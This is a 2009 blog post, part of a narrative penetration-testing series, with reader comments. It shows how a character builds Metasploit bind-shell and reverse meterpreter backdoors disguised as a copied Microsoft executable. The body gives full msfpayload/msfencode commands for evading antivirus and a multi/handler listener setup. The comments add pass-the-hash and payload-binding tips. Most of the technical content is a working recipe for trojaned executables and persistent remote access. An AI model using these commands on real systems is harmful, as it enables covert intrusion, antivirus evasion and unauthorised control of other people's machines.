Tuesday, November 17, 2009

Bob The Backdoor Man - Part 1

Previously in Bob Land......

Bob hears on the grapevine that ncat won't work as a single executable. This is a bit of a bugger and it does give Bob a problem. His intention was to use ncat for file transfers, proxies and backdoors. It was also pretty useful that it was pretty much undetected by AV.

Luckily for Bob he hears from a good friend that it's quite possible to modify netcat to be able to bypass anti-virus software. And luckily for Bob, the most talented Muts has created a video that shows him exactly how to do that here.

This problem also presents Bob with the perfect opportunity to get his hands dirty with some msfpayload love. He reckons that if he creates a couple of payloads to add into his cab file he should be able to do everything he needs. And the beauty of using msfpayload is he'll be able to run them through msfencode to bypass most anti-virus.

Before Bob creates his payloads he grabs a copy of winmsd.exe from his Windows OS. It doesn't really matter to him what file it is he just wants one that is a Microsoft file. He want this because all his payloads can take on the characteristics of the file. Rather than going to great lengths to hide a file, Bobs opinion is that hiding in plain site will probably be better.

Payload 1
For Bobs first payload he wants to create a generic payload that will spawn a command shell when he connects to it on port 6666.

./msfpayload windows/shell_bind_tcp LPORT=6666 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd16.exe

Bob has specified a payload that will bind a shell to port 6666. He outputs this in raw format to the msfencode program that will help avoid detection by anti-virus software. Finally he has specified that the file is called winmsd16.exe and upon physical inspection it will look just like the original winmsd.exe file.

After Bob creates the file he tests it out on his XP VM to make sure it works as expected.

Side by side it looks just like the original file, it is identical in size and looks just as through its a legitimate file from Microsoft.

Bob runs the file and checks he can connect to it with netcat.

nc 6666

Payload 2
Bobs second payload will connect back to him when he's on the wireless network and present him with a meterpreter shell.

./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=8080 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd32.exe

Again Bob uses a legitimate file to copy the characteristics from. This time on his host he has to make sure he has his listener ready on port 8080.

Bob decides that when he creates his listener he'll use msfconsole and pass the following commands:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 8080
set ExitOnSession false
set AutoRunScript winenum.rb
exploit -j -z

Bob has configured his listener to accept multiple sessions coming back to him, and the very useful winenum script developed by Carlos "Dark operator" Perez will run against each connecting host. All the information from the script will be stored in ~/.msf/logs/ Bob may well decide to change this at a later date to another script but for now he's very happy.

With his modified netcat and his payloads created and tested Bob rebuilds his cab file and goes to get his dinner. He knows that during his network exploration adventures he may well come up against some problems that will cause him to create some payloads on the fly but he'll deal with that when it happens.

Whilst eating his dinner Bob begins to worry that if the Admins at Walliford Fries patch the computers he may well lose his way in. By the time Bob has eaten his ice cream desert he has come up with a few ideas how he might overcome this particular problem.

Coming next....Backdoor Man - Part 2.


Anonymous said...

Awesome article as ever. Looking forward to the next instalment.


javatard said...

Bob should lay off the ice cream!
Seriously, good series! I'm taking a break from studding for certs, and this has been fun to read along.
psexec will copy files over to systems, execute them and even delete them. I've never tried it on a system I didnt administer to, but I suppose with the right username/pw it would work as well.

SynJunkie said...

Cheers Redmeat.

Javatard - Thanks. psexec is something I have used quite a bit but I wanted to see if I can just get by with tools that won't be picked up by AV. psexec always gets logged as a PUP or malware in my experience.

What might work and I'll have to test it with metasploits psexec payload using cognito (pass the hash) instead of username/pw. hmmmm now theres a thought. I'll let Bob know ;-)

Good luck with the certs.

Tim said...

I was just curious if the executeables lose thier original functionality once the payload is embeded and the entire thing is encoded? Example, if I put a payload in calc.exe or notepad.exe and run them, are they still useable. I can get the payload functionality working, but calc.exe and notepad.exe no longer work

SynJunkie said...

Tim - not using the method i've described. You could use a binder such as XP's iexpress.exe to bind a payload to a file so they both work. If you check out Mubix's site (room362) he has a nice write-up on exactly how to do it.